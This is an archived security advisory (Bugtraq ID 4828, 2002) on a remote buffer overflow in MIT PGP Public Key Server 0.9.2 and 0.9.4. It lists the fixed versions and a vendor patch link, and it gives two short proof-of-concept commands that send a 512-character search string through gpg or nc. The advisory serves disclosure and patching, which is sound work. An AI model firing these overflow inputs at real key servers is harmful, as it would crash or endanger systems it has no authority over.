MIT PGP Public Key Server Search String Remote Buffer Overflow Vulnerability

Bugtraq ID:	4828
Class:	Boundary Condition Error
CVE:
Remote:	Yes
Local:	No
Published:	May 24 2002 12:00AM
Updated:	May 24 2002 12:00AM
Credit:	Discovery credited to Max <[email protected]>.
Vulnerable:	MIT PGP Public Key Server 0.9.4 MIT PGP Public Key Server 0.9.2
Not Vulnerable:	MIT PGP Public Key Server 0.9.6 MIT PGP Public Key Server 0.9.5

MIT PGP Public Key Server Search String Remote Buffer Overflow Vulnerability

A proof of concept exists in the following two examples:

gpg --search-keys `perl -e "print 'A'x512"`

echo -e "GET /pks/lookup?op=index&search=`perl -e "print 'A'x512"`"| nc example.com 11371

Currently we are not aware of any exploits for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

MIT PGP Public Key Server Search String Remote Buffer Overflow Vulnerability

Solution:
The vendor has contacted Symantec directly providing a patch, as follows, proposed to fix this vulnerability:


MIT PGP Public Key Server 0.9.2

• MIT PGP Public Key Server Patch
  http://www.rubin.ch/pgp/src/patch_buffoverflow20020525

MIT PGP Public Key Server 0.9.4

• MIT PGP Public Key Server Patch
  http://www.rubin.ch/pgp/src/patch_buffoverflow20020525